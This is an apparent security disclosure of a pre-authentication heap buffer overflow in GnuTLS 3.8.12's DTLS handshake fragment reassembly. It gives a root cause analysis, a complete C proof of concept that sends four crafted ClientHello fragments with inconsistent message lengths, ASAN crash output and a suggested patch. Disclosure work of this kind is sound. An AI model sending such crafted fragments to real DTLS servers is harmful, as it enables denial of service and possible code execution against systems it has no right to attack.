CWE-122: Heap Buffer Overflow in DTLS Handshake Fragment Reassembly via Inconsistent message_length
## Severity
**Critical** — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H (9.1)
## Environment
- **OS**: Ubuntu 22.04 x86_64
- **Compiler**: gcc with AddressSanitizer
- **Target**: GnuTLS 3.8.12 (commit `868ed4b`, master branch)
## Affected Component
- **Function**: `merge_handshake_packet()`
- **File**: `lib/buffers.c:1035-1037`
- **Public API Entry**: `gnutls_handshake()` → `_gnutls_handshake_io_recv_int()` → `_gnutls_parse_record_buffered_msgs()` → `merge_handshake_packet()`
## Root Cause Analysis
`merge_handshake_packet()` matches incoming DTLS handshake fragments by `htype` (handshake type) **only** — it does **not** verify that `message_length` is consistent across fragments of the same logical message.
When an existing buffer entry exists (line 1011), the merge branch performs:
```c
// Branch 2 (buffers.c:1035-1037):
memcpy(&session->internals.handshake_recv_buffer[pos].data.data[hsk->start_offset],
hsk->data.data, hsk->data.length);
```
**Without** checking that `hsk->start_offset + hsk->data.length <= handshake_recv_buffer[pos].data.max_length`.
The initial fragment creates a buffer sized for its (small) `message_length`. Subsequent fragments claim a much larger `message_length` and provide offsets/lengths that exceed the original buffer capacity. Per-fragment validation at `parse_handshake_header()` (line 941-943) validates each fragment against its **own** `message_length`, not against the existing buffer's capacity.
### Key Data Types
- `handshake_buffer_st.length` (uint32_t) — message_length from handshake header
- `handshake_buffer_st.start_offset` (uint32_t) — fragment_offset from header
- `handshake_buffer_st.end_offset` (uint32_t) — start_offset + frag_size - 1
- Buffer allocated via `_gnutls_buffer_resize`: MIN_CHUNK=1024 → minimum alloc = 2048 bytes
## Attack Scenario
Pre-authentication, remote, no user interaction. An attacker sends 4 MTU-sized UDP datagrams to a DTLS server running `gnutls_handshake()` in the standard retry loop (the documented usage for DTLS):
1. **Datagram 1**: ClientHello fragment: `msg_len=50, offset=25, frag_len=25` → creates buffer entry, alloc=2048 bytes; `gnutls_handshake()` returns `GNUTLS_E_AGAIN`, caller retries
2. **Datagram 2**: ClientHello fragment: `msg_len=3000, offset=0, frag_len=48` → merge branch 1: writes within buffer OK; `GNUTLS_E_AGAIN` again
3. **Datagram 3**: ClientHello fragment: `msg_len=3000, offset=40, frag_len=1475` → merge branch 2: writes up to byte 1515, within 2048 OK; `GNUTLS_E_AGAIN` again
4. **Datagram 4**: ClientHello fragment: `msg_len=3000, offset=1500, frag_len=1475` → merge branch 2: `memcpy(dest+1500, src, 1475)` → **writes to byte 2975, 927 bytes past 2048-byte buffer = HEAP OVERFLOW**
### RFC Violation
RFC 6347 Section 4.2.3: "fragment_offset + fragment_length MUST NOT exceed message_length" — GnuTLS validates this per-fragment but not across fragments with mismatched message_length values.
## CIA Triad Impact
- **Confidentiality**: NONE — write-only overflow; no demonstrated read of adjacent heap data
- **Integrity**: HIGH — attacker-controlled write primitive enables code execution
- **Availability**: HIGH — crash/corruption guarantees DoS
## One-Click Reproduction Script
```bash
#!/bin/bash
set -ex
# Step 1: Install dependencies (release tarball — no bootstrap tools needed)
sudo apt-get update && sudo apt-get install -y \
build-essential pkg-config m4 \
libgmp-dev libtasn1-6-dev libtasn1-bin libunistring-dev \
libp11-kit-dev wget
# Step 1b: Build nettle >= 3.10 from source (Ubuntu 22.04 ships 3.7, too old)
wget -q -O nettle-3.10.tar.gz https://ftp.gnu.org/gnu/nettle/nettle-3.10.tar.gz
tar xzf nettle-3.10.tar.gz
cd nettle-3.10
./configure --prefix=/usr/local --disable-documentation
make -j$(nproc)
sudo make install
echo /usr/local/lib64 | sudo tee /etc/ld.so.conf.d/nettle-local.conf
sudo ldconfig
cd ..
# Step 2: Download GnuTLS 3.8.12 release tarball (no bootstrap needed)
wget -q -O gnutls-3.8.12.tar.xz https://www.gnupg.org/ftp/gcrypt/gnutls/v3.8/gnutls-3.8.12.tar.xz
tar xJf gnutls-3.8.12.tar.xz
cd gnutls-3.8.12
# Step 3: Build with ASAN
PKG_CONFIG_PATH=/usr/local/lib64/pkgconfig:/usr/local/lib/pkgconfig \
./configure --disable-doc --disable-tests --disable-full-test-suite \
--disable-nls --disable-guile --disable-documentation \
--without-tpm --without-tpm2 \
CFLAGS='-fsanitize=address -g -O1 -fno-omit-frame-pointer' \
LDFLAGS='-fsanitize=address -L/usr/local/lib -L/usr/local/lib64 -Wl,-rpath,/usr/local/lib -Wl,-rpath,/usr/local/lib64'
make -j$(nproc)
# Step 4: Write PoC
cat > poc_dtls_fragment_overflow.c << 'POCEOF'
/*
* PoC: DTLS Fragment Reassembly Heap Buffer Overflow
* Target: GnuTLS 3.8.12 - merge_handshake_packet() in lib/buffers.c
*
* Sends crafted DTLS handshake fragments with inconsistent message_length
* values to trigger a heap buffer overflow during fragment merge.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <gnutls/gnutls.h>
#include <gnutls/dtls.h>
#include <gnutls/x509.h>
#include <time.h>
#define PORT 4433
/* DTLS 1.2 record header (13 bytes) */
struct dtls_record_hdr {
uint8_t content_type; /* 22 = handshake */
uint8_t version[2]; /* {254, 253} = DTLS 1.2 */
uint8_t epoch[2];
uint8_t seq_num[6];
uint8_t length[2]; /* fragment length */
};
/* DTLS handshake header (12 bytes) */
struct dtls_hs_hdr {
uint8_t msg_type; /* handshake type (1=ClientHello) */
uint8_t msg_length[3]; /* total message length (uint24) */
uint8_t msg_seq[2]; /* message sequence */
uint8_t frag_offset[3]; /* fragment offset (uint24) */
uint8_t frag_length[3]; /* fragment length (uint24) */
};
static void put_uint16(uint8_t *buf, uint16_t val) {
buf[0] = (val >> 8) & 0xFF;
buf[1] = val & 0xFF;
}
static void put_uint24(uint8_t *buf, uint32_t val) {
buf[0] = (val >> 16) & 0xFF;
buf[1] = (val >> 8) & 0xFF;
buf[2] = val & 0xFF;
}
static int send_dtls_fragment(int sock, struct sockaddr_in *addr,
uint8_t htype, uint32_t msg_length,
uint16_t msg_seq, uint32_t frag_offset,
uint32_t frag_length, uint8_t *frag_data,
uint8_t seq_lo) {
uint8_t pkt[2048];
struct dtls_record_hdr *rec = (struct dtls_record_hdr *)pkt;
struct dtls_hs_hdr *hs = (struct dtls_hs_hdr *)(pkt + 13);
uint8_t *payload = pkt + 13 + 12;
/* Record header */
rec->content_type = 22; /* handshake */
rec->version[0] = 254; /* DTLS 1.2 = {254, 253} */
rec->version[1] = 253;
memset(rec->epoch, 0, 2);
memset(rec->seq_num, 0, 6);
rec->seq_num[5] = seq_lo;
put_uint16(rec->length, 12 + frag_length); /* hs header + fragment */
/* Handshake header */
hs->msg_type = htype;
put_uint24(hs->msg_length, msg_length);
put_uint16(hs->msg_seq, msg_seq);
put_uint24(hs->frag_offset, frag_offset);
put_uint24(hs->frag_length, frag_length);
/* Fragment data */
if (frag_length > 0 && frag_data)
memcpy(payload, frag_data, frag_length);
else if (frag_length > 0)
memset(payload, 'A', frag_length);
return sendto(sock, pkt, 13 + 12 + frag_length, 0,
(struct sockaddr *)addr, sizeof(*addr));
}
static gnutls_certificate_credentials_t xcred;
static gnutls_priority_t priority_cache;
static volatile int fragments_sent = 0;
static void *server_thread(void *arg) {
int udp_sock;
struct sockaddr_in saddr;
gnutls_session_t session;
/* Create UDP socket */
udp_sock = socket(AF_INET, SOCK_DGRAM, 0);
memset(&saddr, 0, sizeof(saddr));
saddr.sin_family = AF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
int reuse = 1;
setsockopt(udp_sock, SOL_SOCKET, SO_REUSEADDR, &reuse, sizeof(reuse));
bind(udp_sock, (struct sockaddr *)&saddr, sizeof(saddr));
/* Wait for first packet to get client address */
struct sockaddr_in caddr;
socklen_t clen = sizeof(caddr);
uint8_t buf[4096];
recvfrom(udp_sock, buf, sizeof(buf), MSG_PEEK,
(struct sockaddr *)&caddr, &clen);
/* Connect to client address for DTLS */
connect(udp_sock, (struct sockaddr *)&caddr, clen);
/* Init DTLS session */
gnutls_init(&session, GNUTLS_SERVER | GNUTLS_DATAGRAM);
gnutls_priority_set(session, priority_cache);
gnutls_credentials_set(session, GNUTLS_CRD_CERTIFICATE, xcred);
gnutls_transport_set_int(session, udp_sock);
gnutls_dtls_set_mtu(session, 1500);
/* Set timeout to prevent indefinite blocking */
gnutls_dtls_set_timeouts(session, 1000, 5000);
/* Wait until client has sent all fragments */
while (!fragments_sent)
usleep(10000);
usleep(50000); /* Extra 50ms to ensure all datagrams are in socket buffer */
/* Attempt handshake — will process crafted fragments.
* DTLS requires looping on GNUTLS_E_AGAIN to read successive datagrams.
* Each iteration reads one UDP datagram and merges its fragment. */
fprintf(stderr, "[SERVER] Starting handshake...\n");
int ret;
do {
ret = gnutls_handshake(session);
} while (ret == GNUTLS_E_AGAIN || ret == GNUTLS_E_INTERRUPTED);
fprintf(stderr, "[SERVER] Handshake returned: %d (%s)\n",
ret, gnutls_strerror(ret));
gnutls_deinit(session);
close(udp_sock);
return NULL;
}
int main(void) {
int sock;
struct sockaddr_in addr;
pthread_t tid;
gnutls_global_init();
/* Generate temporary credentials */
gnutls_certificate_allocate_credentials(&xcred);
gnutls_priority_init(&priority_cache, "NORMAL", NULL);
/* Generate a self-signed cert + key programmatically */
{
gnutls_x509_privkey_t privkey;
gnutls_x509_crt_t crt;
gnutls_x509_privkey_init(&privkey);
gnutls_x509_privkey_generate(privkey, GNUTLS_PK_ECDSA,
GNUTLS_CURVE_TO_BITS(GNUTLS_ECC_CURVE_SECP256R1), 0);
gnutls_x509_crt_init(&crt);
gnutls_x509_crt_set_version(crt, 3);
gnutls_x509_crt_set_serial(crt, (const unsigned char *)"\x01", 1);
gnutls_x509_crt_set_activation_time(crt, time(NULL));
gnutls_x509_crt_set_expiration_time(crt, time(NULL) + 365 * 24 * 60 * 60);
gnutls_x509_crt_set_dn_by_oid(crt, GNUTLS_OID_X520_COMMON_NAME,
0, "localhost", strlen("localhost"));
gnutls_x509_crt_set_key(crt, privkey);
gnutls_x509_crt_sign2(crt, crt, privkey, GNUTLS_DIG_SHA256, 0);
gnutls_certificate_set_x509_key(xcred, &crt, 1, privkey);
gnutls_x509_crt_deinit(crt);
gnutls_x509_privkey_deinit(privkey);
}
/* Start server thread */
pthread_create(&tid, NULL, server_thread, NULL);
usleep(200000); /* Wait for server to bind */
/* Create client UDP socket */
sock = socket(AF_INET, SOCK_DGRAM, 0);
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
fprintf(stderr, "[CLIENT] Sending crafted DTLS fragments...\n");
/*
* Attack: Send 4 fragments with inconsistent message_length values.
* Fragment 1: msg_len=50 (creates small buffer, alloc=2048)
* Fragment 2-4: msg_len=3000 (writes at offsets exceeding buffer)
*/
/* Fragment 1: Small message_length to create undersized buffer */
uint8_t frag1[25];
memset(frag1, 'B', sizeof(frag1));
send_dtls_fragment(sock, &addr, 1, 50, 0, 25, 25, frag1, 0);
/* Fragment 2: Large message_length, fills beginning */
uint8_t frag2[48];
memset(frag2, 'C', sizeof(frag2));
send_dtls_fragment(sock, &addr, 1, 3000, 0, 0, 48, frag2, 1);
/* Fragment 3: Large offset + length, still within 2048 */
uint8_t frag3[1475];
memset(frag3, 'D', sizeof(frag3));
send_dtls_fragment(sock, &addr, 1, 3000, 0, 40, 1475, frag3, 2);
/* Fragment 4: OVERFLOW — offset=1500, len=1475, writes 927 bytes past buffer */
uint8_t frag4[1475];
memset(frag4, 'E', sizeof(frag4));
send_dtls_fragment(sock, &addr, 1, 3000, 0, 1500, 1475, frag4, 3);
/* Signal server that all fragments have been sent */
fragments_sent = 1;
fprintf(stderr, "[CLIENT] All fragments sent. Waiting for server...\n");
close(sock);
pthread_join(tid, NULL);
gnutls_certificate_free_credentials(xcred);
gnutls_priority_deinit(priority_cache);
gnutls_global_deinit();
return 0;
}
POCEOF
# Step 5: Compile PoC
gcc -fsanitize=address -g -O1 -fno-omit-frame-pointer \
-I./lib/includes -I. \
poc_dtls_fragment_overflow.c \
-L./lib/.libs -lgnutls -lpthread \
-Wl,-rpath,./lib/.libs -L/usr/local/lib64 -Wl,-rpath,/usr/local/lib64 \
-o poc_dtls_fragment_overflow
# Step 6: Run PoC
echo "[*] Running PoC — expect ASAN heap-buffer-overflow..."
LD_LIBRARY_PATH=./lib/.libs:/usr/local/lib64 ./poc_dtls_fragment_overflow 2>&1 || true
echo "[*] Done. Check ASAN output above."
```
### Actual ASAN Output (GCP x86_64 Ubuntu 22.04, GnuTLS 3.8.12 + ASAN)
```
=================================================================
==45609==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51d000010280 at pc 0x7ab1bfe3a2c3 bp 0x7ab1bbbfd450 sp 0x7ab1bbbfcbf8
WRITE of size 1475 at 0x51d000010280 thread T1
#0 0x7ab1bfe3a2c2 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
#1 0x7ab1bf9025ca in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
#2 0x7ab1bf9025ca in merge_handshake_packet /home/HarutoKimura/gnutls/lib/buffers.c:1035
#3 0x7ab1bf9025ca in _gnutls_parse_record_buffered_msgs /home/HarutoKimura/gnutls/lib/buffers.c:1320
#4 0x7ab1bf903461 in _gnutls_handshake_io_recv_int /home/HarutoKimura/gnutls/lib/buffers.c:1414
#5 0x7ab1bf9091ba in _gnutls_recv_handshake /home/HarutoKimura/gnutls/lib/handshake.c:1608
#6 0x7ab1bf916bdf in handshake_server /home/HarutoKimura/gnutls/lib/handshake.c:3528
#7 0x7ab1bf916bdf in gnutls_handshake /home/HarutoKimura/gnutls/lib/handshake.c:2917
#8 0x608997739cf6 in server_thread /home/HarutoKimura/gnutls/poc_dtls_fragment_overflow.c:140
#9 0x7ab1bf494ac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2)
#10 0x7ab1bf5268cf (/lib/x86_64-linux-gnu/libc.so.6+0x1268cf)
0x51d000010280 is located 0 bytes to the right of 2048-byte region [0x51d00000fa80,0x51d000010280)
allocated by thread T1 here:
#0 0x7ab1bfeb4c38 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:164
#1 0x7ab1bfa2b630 in rpl_realloc stdlib.h:2065
#2 0x7ab1bf96d13b in gnutls_realloc_fast /home/HarutoKimura/gnutls/lib/mem.c:46
#3 0x7ab1bf9781e6 in buffer_resize_reclaim /home/HarutoKimura/gnutls/lib/str.c:187
#4 0x7ab1bf9786d8 in gnutls_buffer_append_data /home/HarutoKimura/gnutls/lib/str.c:116
#5 0x7ab1bf901f1c in _gnutls_parse_record_buffered_msgs /home/HarutoKimura/gnutls/lib/buffers.c:1309
#6 0x7ab1bf903461 in _gnutls_handshake_io_recv_int /home/HarutoKimura/gnutls/lib/buffers.c:1414
#7 0x7ab1bf9091ba in _gnutls_recv_handshake /home/HarutoKimura/gnutls/lib/handshake.c:1608
#8 0x7ab1bf916bdf in handshake_server /home/HarutoKimura/gnutls/lib/handshake.c:3528
#9 0x7ab1bf916bdf in gnutls_handshake /home/HarutoKimura/gnutls/lib/handshake.c:2917
#10 0x608997739cf6 in server_thread /home/HarutoKimura/gnutls/poc_dtls_fragment_overflow.c:140
#11 0x7ab1bf494ac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2)
Thread T1 created by T0 here:
#0 0x7ab1bfe58685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
#1 0x60899773a9bb in main /home/HarutoKimura/gnutls/poc_dtls_fragment_overflow.c:187
#2 0x7ab1bf429d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f)
SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
==45609==ABORTING
```
**Verification**: GCP VM `reviewer-001-20260311` (x86_64 Ubuntu 22.04), GnuTLS 3.8.12 (git tag `3.8.12`), gcc + ASAN, 2026-03-11.
## Suggested Fix
Add message_length consistency validation in `merge_handshake_packet()` before performing the merge memcpy:
```c
// After matching by htype at buffers.c:970-976, add:
if (recv_buf[pos].length != hsk->length) {
_gnutls_handshake_buffer_clear(hsk);
return gnutls_assert_val(GNUTLS_E_UNEXPECTED_HANDSHAKE_PACKET);
}
```
Additionally, add bounds checking before both merge memcpy operations:
```c
// Before buffers.c:1018 (branch 1) and buffers.c:1035 (branch 2):
if (hsk->start_offset + hsk->data.length > recv_buf[pos].data.max_length) {
_gnutls_handshake_buffer_clear(hsk);
return gnutls_assert_val(GNUTLS_E_UNEXPECTED_PACKET_LENGTH);
}
```
[reproduce_vuln_001.sh](/uploads/22004707c5c5a4e0fa9545d95751fa30/reproduce_vuln_001.sh)
issue